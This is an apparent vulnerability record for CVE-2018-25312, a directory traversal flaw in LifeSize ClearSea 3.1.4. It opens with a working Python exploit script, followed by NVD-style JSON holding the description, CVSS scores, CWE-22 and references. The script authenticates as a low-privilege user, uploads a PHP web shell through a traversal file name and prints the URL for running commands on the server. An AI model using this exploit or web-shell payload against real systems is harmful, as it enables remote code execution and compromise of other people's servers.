CVE-2018-25312

import requests # Target URL configuration target_host = "http://vulnerable-host" login_url = f"{target_host}/login.php" upload_url = f"{target_host}/smartgui/upload.php" attacker_session = requests.Session() # Step 1: Authenticate (Low privilege required per PR:L) credentials = { "username": "low_priv_user", "password": "password" } attacker_session.post(login_url, data=credentials) # Step 2: Prepare malicious payload (PHP webshell) # Using directory traversal sequence '../' to escape web root webshell_content = "<?php system($_GET['cmd']); ?>" # The vulnerability allows manipulating the path parameter files = { 'file': ('../../var/www/html/shell.php', webshell_content, 'application/x-php') } data = { 'path': '../../../tmp' # Additional path manipulation if needed } # Step 3: Upload the payload response = attacker_session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Check your shell at: {target_host}/shell.php?cmd=whoami") else: print("[-] Upload failed.")

{"cve": {"id": "CVE-2018-25312", "sourceIdentifier": "[email protected]", "published": "2026-04-29T20:16:26.903", "lastModified": "2026-04-29T21:22:20.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "LifeSize ClearSea 3.1.4 contains directory traversal vulnerabilities that allow authenticated attackers to download and upload arbitrary files by manipulating path parameters in the smartgui interface. Attackers can exploit the upload endpoint with directory traversal sequences to write files to arbitrary locations on the system, enabling remote code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/44390", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/lifesize-clearsea-directory-traversal-remote-code-execution", "source": "[email protected]"}]}}